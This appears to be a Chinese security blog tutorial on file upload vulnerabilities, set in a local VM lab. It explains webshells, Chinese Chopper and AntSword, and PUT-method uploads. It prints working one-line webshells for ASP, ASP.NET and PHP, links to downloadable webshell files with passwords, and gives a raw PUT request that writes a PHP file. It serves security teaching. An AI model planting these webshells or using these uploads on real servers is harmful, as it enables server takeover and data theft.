文章目录

    • 本来想把关于大马、小马、菜刀,蚁剑,upload-labs(部分实验)等小型实验展示单独出一章节内容,后来想想还是整合在一起吧。所以说这一章节的内容会 ¥¥¥有点多¥¥¥
  • 一:漏洞概述
  • 二:漏洞成因
  • 三:漏洞危害
  • 四:webshell
  • 五:大马
  • 六:小马
  • 七:中国菜刀与蚁剑
  • 八:文件上传漏洞利用
    • 8.1:GetShell
    • 8.2:防御,绕过,利用
    • 8.3:PUT方法上传文件
    • 8.4:前端限制与绕过
      • 8.4.1:upload-labs的安装
      • 8.4.2:upload-labs第1关,方法一
      • 8.4.3:upload-labs第1关,方法二
    • 8.5:服务器端限制与绕过
      • 8.5.1:服务器端检测——MIME类型
        • 8.5.1.1:upload-labs第2关步骤
      • 8.5.2:服务器端检测——文件内容
        • 8.5.2.1 三种方法制作图片木马
        • 8.5.2.2:upload-load 第14关:步骤
      • 8.5.3:服务器端检测——后缀名
    • 8.6:00截断
      • 8.6.1:upload-labs 第十一关:步骤
    • 8.7:.htaccess攻击
      • 8.7.1:将.png文件当作php文件解析
      • 8.7.2:文件名中包含php关键字
      • 8.7.3:匹配文件名
      • 8.7.4:.htaccess攻击的应用 upload-labs第四:步骤
    • 8.8:web容器解析漏洞
      • 8.8.1:apache解析漏洞
      • 8.8.2:IIS6.0解析漏洞
      • 8.8.3:PHP CGI解析漏洞
      • 8.8.4:Nginx空字节漏洞
      • 8.8.5:Nginx文件名逻辑漏洞(CVE-2013-4745)
      • 8.8.6:常见编辑器上传
      • 8.8.7:常见的CMS上传
      • 8.8.8:南方数据管理系统(经典案例)
      • 8.8.9:metinfov5.0.4 文件上传
  • 九:文件上传漏洞的防御

本来想把关于大马、小马、菜刀,蚁剑,upload-labs(部分实验)等小型实验展示单独出一章节内容,后来想想还是整合在一起吧。所以说这一章节的内容会 ¥¥¥有点多¥¥¥

一:漏洞概述

文件上传是web应用的必备功能之一,比如上传头像显示个性化,上传附件共享文件,上传脚本更新网站等。如果服务器配置不当或者没有进行足够的过滤,web用户就可以上传任意文件,包括恶意脚本文件、exe程序等,这就造成了文件上传漏洞。

二:漏洞成因

1、服务器配置不当会导致任意文件上传;
2、web应用开放了文件上传功能,并且对上传的文件没有进行足够的限制;
3、程序开发部署的时候,没有考虑到系统特性和验证和过滤不严格而导致限制被绕过,上传任意文件。

三:漏洞危害

上传漏洞最直接的威胁就是上传任意文件,包括恶意脚本,程序等。如果web服务器所保存上传文件的科协目录具有执行权限,那么就可以直接上传后门文件,导致网站沦陷。

如果攻击者通过其他漏洞进行提权操作,拿到系统管理权限,那么直接导致服务器沦陷。同服务器下的其他网站无一幸免,均会被攻击者控制。

通过上传漏洞获得的网站后门,就是webshell。

四:webshell

在计算机科学中,shell俗称壳(用来区别于“核”),是指“为使用者提供操作界面”的软件(命令解释器)。类似于windows系统给的cmd.exe或者linux下的bash等,虽然这些系统上的命令解释器不止一种。

webshell是一个网站的后门,也是一个命令解释器,不过是以web方式(http协议)通信(传递命令消息),继承了web用户的权限。webshell本质上是在服务器端可运行的脚本文件,后缀名为.php/.asp/.aspx/.jsp 等。也就是说webshell接受来自于web用户的命令,然后在服务器端执行。

五:大马

webshell也可以是大马,也是网站木马。有一类webshell之所以叫大马,是因为与小马(一句话木马)区分开,并且代码比较大,但是功能比较丰富。同样,大马有很多种脚本格式,其功能基本相同。每个团队都有自己的定制大马。以下是一个简单的例子。输入密码,密码一般直接写在木马文件中。在大马中我们可以进行文件管理,执行系统命令等,还有一些其他定制功能。这是asp的大马。
类似界面如下:

这里有几个大马文件,仅供大家学习之用,切勿用作非法用途。牢饭虽然免费,但是不好吃呀,除非你熟读了罗翔老师的书,比如:《圆圈正义》,,,,,哈哈哈哈~~~~

好了,废话不都说,大马下载地址:下载
(访问密码:Bzb4hF)
我们以win2003为例(IP:192.168.152.129),首先我们要部署好IISweb服务,具体怎么部署,这里就不详细说了,详情请参考我之前的博客,006 IIS之web服务器与FTP服务器
为什么要部署IISweb服务呢?因为这里用的大马是asp大马,需要有网站页面。后文用到的php大马,我们就要用到phpstudy。
布置好之后,如下图所示:

在inetpub\wwwroot文件夹下创建一个dama的文件夹

把两个大马文件放到dama文件夹中,然后用真实机(前提配置好网络互通,这里我用的是NAT模式)浏览器访问192.168.152.129

这里以style.asp为例,先代码审计一波,发现style.asp的登录密码是1314。(哈哈哈,感觉是为有故事的作者)

回到真实机的浏览器上:

登录之后:

 
接下来是php大马:
以win2008为例:IP:192.168.152.132
首先确定正确运行了phpstudy软件,如何运行,请参照:031 基础环境搭建phpstudy

在C:\phpStudy\WWW目录下创建一个叫dama的文件夹,把nosafe.php这个文件放进去。
真实机打开浏览器输入IP地址进行访问,输入密码www.nosafe.org

六:小马

小马就是一句话木马,因为其代码量比较小,就是一句简单的代码。以下是各个脚本的一句话。

ASP:<%eval request("cmd")%>
ASP.NET:<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>
PHP:<?php @eval($_REQUEST['cmd']);?>

一句话木马短小精悍,功能强大,但是需要配合中国菜刀或者中国蚁剑客户端使用,中国菜刀是一句话木马的管理器,也是命令操作接口。中国菜刀在连接一句话木马的时候需要填写密码(实际上就是变量名)。例如,我们上传一个上面的php的一句话木马,密码就是[cmd]。

七:中国菜刀与蚁剑

中国菜刀与一句话木马配合实现了三大基本功能,如下:
1、文件管理
在中国菜刀页面继承web,用户权限可以实现文件管理, 包括文件查看,上传,下载,修改,删除甚至运行exe程序等。

2、虚拟终端
在中国菜刀下可以获得类似于cmd和bash的命令行接口,可以执行相关命令。

3、数据库管理
我们可以使用中国菜刀进行数据库管理,此时需要知道连接数据库的账号密码。以MYSQL为例,填写配置,如下:

<T>MYSQL</T>         //数据库类型
<H>localhost</H>        //数据库地址
<U>root</U>             //数据库用户
<P></P>                 //数据库密码,密码为空就不写
<L>utf8</L>             //编码
此时,我们就可以执行sql语句,管理数据库了。

实验过程:
在win2008上,在www目录下创建一个webshell的文件夹,webshell里面新建一个yjh.php文件,写入如图内容。也就是一句话木马。

一句话木马一般都需要借助中国菜刀或者中国蚁剑进行联合使用。
比如:中国蚁剑:下载地址:下载 (访问密码:K276zo)
下载之后解压到真实机上。
这里可以设置语言,改成中文的

这里添加数据:


右键选择文件管理

所有东西一目了然

右键选择虚拟终端

右键选择数据操作

菜刀和蚁剑用法差不多,感觉蚁剑好一些。。。。

八:文件上传漏洞利用

8.1:GetShell

顾名思义,就是获取web的过程和结果。当然任意文件上传是GetShell的主要方式,但并不是唯一途径。

条件:
1、web服务器要开启文件上传功能,并且上传api(接口)对外“开放”(web用户可以访问)
2、web用户对目标目录具有可写权限,甚至具有执行权限,一般情况下,web目录都有执行权限。
3、要想完美利用文件上传漏洞,就是上传的文件可以执行,也就是web容器可以解析我们上传的脚本,无论脚本以什么样的形式存在。
4、无视以上条件的情况就是服务器配置不当,开启了PUT方法。

8.2:防御,绕过,利用

文件上传的防御,绕过,利用总是分不开的。为什么这么防?为什么这么攻击(防御绕过)?总是相互纠缠在一起的两个问题,攻防交替。

黑白名单策略
黑白名单是最常用的安全策略之一。在计算机安全中,黑白名单类似于一个列表,列表中写了一些条件或规则,如果“客体”在黑名单上,一律“禁止”,如果“客体”在白名单上,一律“允许”。类似于手机号码的黑白名单。
如,Chrome浏览器的黑白名单策略。

策略 说明
URLBlacklist 禁止用户访问您已阻止的网站。不过,用户可以访问黑名单之外的所有网址。不设置此策略:用户将可以自由访问所有网址。
URLWhitelist 将此策略与URLBlacklist策略搭配使用,可将特定网址设为黑名单的例外网址并允许用户访问。白名单的优先级高于黑名单。至少要在黑名单中添加一个条目,才能正常使用此策略。不设置此策略:网址黑名单将没有例外网址。

华为收集安装软件黑白名单策略

模式 说明
白名单模式,检查只能安装的软件 只允许终端主机安装软件白名单中的软件,安装其他软件属于违规行为;对于白名单中的软件,该软件属于必须安装类软件,而终端主机未安装该软件,则属于违规行为;对于白名单中的软件,该软件不属于必须安装类软件,而终端主机未安装该软件,则不属于违规行为
白+黑名单模式,检查必须安装的软件和禁止安装的软件 如果终端主机未安装白名单中的任意一款软件,则属于违规行为;如果终端主机已安装黑名单中的任意一款软件,则属于违规行为;如果终端主机已经安装白名单中的所有软件,并且没有安装黑名单中任意一款,则不属于违规行为

8.3:PUT方法上传文件

http请求方法之一,允许向服务器直接写入文件

1、apache如何开启put方法
测试apache是否开启了put方法
先telnet ip port(比如:telnet 192.168.152.132),然后输入命令
OPTIONS / HTTP/1.1HOST:192.168.152.132然后敲两下回车。

我们用win2008和kali做实验
win2008:192.168.152.132
kali:192.168.152.130
首先要确保win2008的telnet服务开启了。初次开启可按如下操作。

首先安装telnet服务

打开服务面板

并且要开启phpstudy软件,且成功的把www目录下的l.php重命名(这是为了防止输入ip的时候直接进入页面,此处若不设置还会影响到该实验,会把整个页面的html代码给抓取下来,不会显示到allow的信息)

再切到kali上:

2、apache开启put方法的操作

a:打开模块
C:\phpStudy\Apache\conf\httpd.conf文件,下面两行的注释给去掉,删除#
LoadModule dav_module modules/mod_dav.so
LoadModule dav_fs_module modules/mod_dav_fs.so

b:启用模块
在C:\phpStudy\Apache\conf\httpd.conf文件中,搜索<Directory />
在这个标签中的最后一行添加DAV On

c:开启文件锁
DavLockDB c:\phpstudy\www\DavLock这句话放到C:\phpStudy\Apache\conf\httpd.conf文件的第一行,并在c:\phpstudy\www目录下创建一个DavLock文件,然后重启phpstudy,再telnet 172.16.132.161 80,然后输入命令OPTIONS / HTTP/1.1和HOST:172.16.132.161进行查看是否开启了put方法。发现开启了很多方法,但是没有Put,没关系,此处任然可以进行文件上传。


3、put方法上传文件
向服务器提交一个info.php文件,在根目录下提交一个info.php的文件,文件长度是18,内容是<?php phpinfo();?>
以下内容最好是手打进去,复制粘贴可能会多了一个空格换行之类的符号,会报错400或者是其他的

PUT /info.php HTTP/1.1
HOST:192.168.152.132
Content-Length:18此处一定要有空行
<?php phpinfo();?>

kali源码:

kali源码:┌──(root												

054 webshell介绍与文件上传漏洞相关推荐

  1. 网络安全课第七节 文件上传漏洞的检测与防御

    13 文件上传漏洞:种植服务器木马的捷径 上一讲介绍过反序列化漏洞,利用漏洞常可以造成执行代码的严重后果. 从本讲开始将介绍文件上传漏洞,它比反序列化漏洞原理与利用更加简单,但同样可以达到控制服务器的 ...

  2. web安全之文件上传漏洞攻击与防范方法

    一. 文件上传漏洞与WebShell的关系 文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行.这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等.这种攻击方式是最为直接和有效 ...

  3. 【网络安全】文件上传漏洞及中国蚁剑安装

    文件上传漏洞 描述 中国蚁剑安装 1. 官网下载源码和加载器 2.解压至同一目录并 3.安装 4.可能会出现的错误 文件上传过程 必要条件 代码示例 dvwa靶场攻击示例 1.书写一句话密码进行上传 ...

  4. 文件上传漏洞利用介绍

    目录 文件上传漏洞利用介绍 1.绕过js验证 2.绕过MIME-TYPE验证 3.绕过基于黑名单验证 基于文件后缀名验证介绍 基于文件后缀名验证方式的分类 基于黑名单验证代码分析 利用apache配置 ...

  5. 文件上传漏洞、编辑器漏洞和条件竞争漏洞介绍(笔记)

    (一)文件上传漏洞介绍: 文件上传是Web应用的必备功能之一,比如,上传头像.上传简历.上传文档等. 那么上传的过程中如果对用户上传的文件未校验或者校验不严格.过滤不严格,那么恶意用户就可以恶意修改上 ...

  6. Webshell文件上传漏洞

    简述: 文件上传漏洞是由于网站对上传的文件没有进行严格筛查,导致用户可以上传一些可执行文件的恶意代码,或webshell,如asp,hph等,然后再通过url访问执行恶意代码,或是通过webshell ...

  7. 墨者靶场 入门:WebShell文件上传漏洞分析溯源(第1题)

    墨者靶场 入门:WebShell文件上传漏洞分析溯源(第1题) 题目 背景介绍 实训目标 解题方向 解题步骤 题目 背景介绍 某公司内部资料分享平台存在一个文件上传页面,为了保证服务器的安全,现在安全 ...

  8. 【墨者学院】WebShell文件上传漏洞分析溯源(第2题)

    替补选手的学习日记 靶场:墨者学院 题目:WebShell文件上传漏洞分析溯源(第2题) 1.打开是一个文件上传的提交框,正常上传一个txt文件看下返回结果. 2.看情况是限制了文件上传的后缀名,显示 ...

  9. 【墨者学院】WebShell文件上传漏洞分析溯源(第4题)

    替补选手的学习日记 靶场:墨者学院 题目:WebShell文件上传漏洞分析溯源(第4题) 1.还是老样子,正常上传一个txt文件查看返回结果,提示此文件不允许上传. 2.正常上传图片查看返回结果,发现 ...

最新文章

  1. wxpython列表控件listctrl设置某行颜色_wxPython ListCtrl:写入彩色纹理
  2. Windows10电脑系统时间校准
  3. @ControllerAdvice全局异常处理不起作用原因及解决办法
  4. docker制作python项目镜像
  5. 银行开发专业术语解释和银行系统开发架构的设计思想
  6. html+js实现注册页面及信息验证
  7. 回归分析常数项t值没有显著异于零怎么办_线性回归分析思路总结!简单易懂又全面!...
  8. 编程游戏开发:如何开发制作一款游戏?你需要做哪些准备?
  9. 东芝机械手tspc安装_日本东芝工四轴机械手THL800
  10. matlab一维插值extrap,MSC Patran中基于Matlab插值函数的多场创建
  11. 2010-7-31 看电影
  12. python - 啃书 第八章 正则表达式
  13. 解决ElementUI列表大数据操作卡顿问题
  14. S32K144之时钟配置及时钟查看
  15. 带exp在线计算机计算器使用,电脑系统自带科学计算器使用方法
  16. Power BI应用案例:销售帕累托分析(28法则)
  17. Android 组件化方案 JIMU 体验
  18. css进阶问题,CSS进阶指引
  19. Unity用UnityWebRequest和 BestHttp的GET和POST表单提交,与php交互
  20. 分享 6 个 Vue3 开发必备的 VSCode 插件

热门文章

  1. Linux个人机器使用465发送邮件
  2. 百度AI的时代献礼:与央视搭AI秀台,让万物智能样貌清晰可见
  3. Ubuntu升级后 /usr/bin/baloo_file 占用太高CPU
  4. 美团校招题 小团的装饰物
  5. 7-3 特立独行的幸福
  6. PDF补丁丁( PDFPatcher.)
  7. php lumen auth,Lumen实现用户注册登录认证
  8. 王者怎么看微信以前玩过的服务器,王者荣耀如何查看微信帐号在那个区玩过
  9. 计算机社团打字比赛规则,金手指打字比赛策划(最终版)
  10. 51单片机IIC通信协议